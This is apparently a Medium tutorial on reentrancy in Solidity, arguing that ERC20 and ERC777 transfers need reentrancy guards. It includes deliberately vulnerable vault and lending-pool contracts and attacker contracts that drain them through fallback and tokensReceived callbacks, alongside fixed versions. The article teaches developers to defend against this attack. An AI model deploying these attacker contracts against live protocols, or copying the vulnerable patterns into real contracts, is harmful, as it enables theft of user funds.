Yes, You DO Need a Reentrancy Guard on ERC20 Transfers. No, It’s Not Insane.
The myth that “ERC20 transfers are safe from reentrancy” has drained more protocols in 2024–2025 than most people realize.

Yes, You DO Need a Reentrancy Guard on ERC20 Transfers. No, It’s Not Insane.
The myth that “ERC20 transfers are safe from reentrancy” has drained more protocols in 2024–2025 than most people realize.
Even though the reentrancy attack vector is not limited to any particular blockchain (or even to blockchains at all), this article focuses on EVM-based chains.
What is a Reentrancy Attack?
A reentrancy attack occurs when contract A calls contract B, and contract B maliciously calls back into contract A before the first invocation has finished. This allows the attacker to execute the same logic in contract A multiple times in a single transaction, often draining funds.
Reentrancy has one of the longest and most infamous track records in Ethereum history. It has been among the top attack vectors since the very beginning and led to multi-million-dollar drains, most famously The DAO hack in 2016.
Classic Reentrancy on Native ETH Transfers
The most common example occurs when sending ETH to an untrusted address:
contract Vault {
mapping(address => uint256) public balances;
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0);
// Vulnerable: external call BEFORE state update
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send ETH");
balances[msg.sender] = 0; // state updated too late
}
}
contract Attacker {
address public victim; // set in constructor
constructor(address _victim) {
victim = _victim;
}
function attack() external payable {
Vault(victim).withdraw();
}
fallback() external payable {
if (address(victim).balance >= 1 ether) {
Vault(victim).withdraw(); // re-enter the same vault
}
}
}
Proven Mitigations for ETH Transfers
- Update state before any external call
- Follow the full Checks-Effects-Interactions (CEI) pattern
- Use OpenZeppelin’s ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureVault is ReentrancyGuard {
mapping(address => uint256) public balances;
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0);
balances[msg.sender] = 0; // state first
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send ETH");
}
}
These mitigations have been standard for ETH transfers for years.
But What About ERC20 Transfers? Aren’t They Safe?
This is where the dangerous myth lives.
Many developers believe that replacing ETH sends with token.transfer(…) magically eliminates reentrancy risk.
It does not.
An ERC20 transfer (or transferFrom) is still an external call to an untrusted contract (meaning it is not a part of your protocol). That contract can call back into your protocol immediately, exactly like the ETH example above.
Why ERC20 Tokens Are Dangerous
- The ERC20 standard only defines an interface, but implementations differ wildly.
- “Weird ERC20s” add fees, rebasing, pausing, blacklists, etc.
- Some tokens don’t return a boolean.
- ERC777 tokens (fully ERC20-compatible) execute a tokensReceived callback on the recipient by default → automatic reentrancy!
- Any malicious or poorly written token contract can re-enter you.
The Silent Reentrancy Bomb Hiding in Plain Sight
ERC777 is fully backward-compatible with ERC20, but it adds hooks: when you call transfer or send, the recipient contract automatically receives a tokensReceived callback in the same transaction, before the transfer finishes. That callback can re-enter your contract exactly like the classic ETH example.
Simplified ERC777 reentrancy exploit example:
- The attacker’s attack function calls the
VulnerableLendingPool::withdrawfunction with an ERC-777 token. - The ERC-777 token calls the
ERC777ReentrancyAttacker::tokensReceivedcallback function before finishing the transfer. - The
ERC777ReentrancyAttacker::tokensReceivedfunction calls theVulnerableLendingPool::withdrawfunction again. - The cycle repeats until the VulnerableLendingPool’s ERC-20 tokens are fully drained.
// Vulnerable contract – no reentrancy guard on token withdrawal
contract VulnerableLendingPool {
IERC20 public token; // actually an ERC777 token
mapping(address => uint256) public balances;
constructor(IERC20 _token) {
token = _token;
}
function deposit(uint256 amount) external {
token.transferFrom(msg.sender, address(this), amount);
balances[msg.sender] += amount;
}
function withdraw(uint256 amount) external {
uint256 balance = balances[msg.sender];
require(balance >= amount, "Insufficient balance");
// ← ERC777 calls back!
(bool success) = token.transfer(msg.sender, amount);
unchecked {
balances[msg.sender] = balance < amount ? 0 : balance - amount;
}
}
fallback() external {}
}
// Malicious contract that implements ERC777 hooks
contract ERC777ReentrancyAttacker is IERC777Recipient {
VulnerableLendingPool public pool;
uint256 public attacks;
uint256 balanceBefore;
constructor(VulnerableLendingPool _pool) {
pool = _pool;
//Register with ERC1820 registry so the ERC777 token trusts us
IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
.setInterfaceImplementer(
address(this),
keccak256("ERC777TokensRecipient"),
address(this)
);
}
// This is automatically called by ERC777 after every transfer/send
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
if (msg.sender == address(pool.token()) && from == address(pool)) {
balanceBefore -= amount;
if (balanceBefore >= amount) {
attacks++;
pool.withdraw(amount);
}
}
}
function attack(uint256 amount) external {
balanceBefore = pool.token().balanceOf(address(pool));
pool.withdraw(amount); // first call triggers the loop
}
}
This pattern has been used in real exploits against lending protocols, yield aggregators, and vaults that accepted “ERC20” tokens without realizing some of them were ERC777.
Even if you whitelist tokens, many legitimate, multi-billion-dollar tokens are ERC777.
The Fix is the same as for ETH
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
using SafeERC20 for IERC20;
contract SecureLendingPool is ReentrancyGuard {
IERC20 public token;
mapping(address => uint256) public balances;
function withdraw(uint256 amount) external nonReentrant {
require(balances[msg.sender] >= amount, "Insufficient balance");
balances[msg.sender] -= amount;
token.safeTransfer(msg.sender, amount);
}
}
Best Practices
- Every public/external function that calls transfer, transferFrom, safeTransfer, or send on any token must be protected (nonReentrant or strict CEI).
- Always use SafeERC20 — never raw .transfer() or .transferFrom().
- Never assume a token is “just ERC20”. ERC777, fee-on-transfer, rebasing, pausable, and malicious tokens all exist.
- If you accept arbitrary ERC20s, you are effectively accepting arbitrary code execution in your context.
Conclusion
Putting a reentrancy guard on ERC20 (ERC777, ERC721 or ERC1155) transfer functions is not insane, paranoid, or over-engineering.
It is the bare minimum for production-grade contracts.
The myth that “ERC20 transfers are safe from reentrancy” continues to be one of the most common critical vulnerabilities in audits and one of the most expensive when exploited.
Don’t be the next statistic.
메타데이터
- post_id
- cd9d50f1f6a3
- slug
- yes-you-do-need-a-reentrancy-guard-on-erc20-transfers-no-its-not-insane-cd9d50f1f6a3
- url
- https://medium.com/@AlexScherbatyuk/yes-you-do-need-a-reentrancy-guard-on-erc20-transfers-no-its-not-insane-cd9d50f1f6a3
- canonical_url
- https://medium.com/@AlexScherbatyuk/yes-you-do-need-a-reentrancy-guard-on-erc20-transfers-no-its-not-insane-cd9d50f1f6a3
- author_url
- https://medium.com/@AlexScherbatyuk
- status
- ok
- fetched_at
- 2026-08-08 08:35:13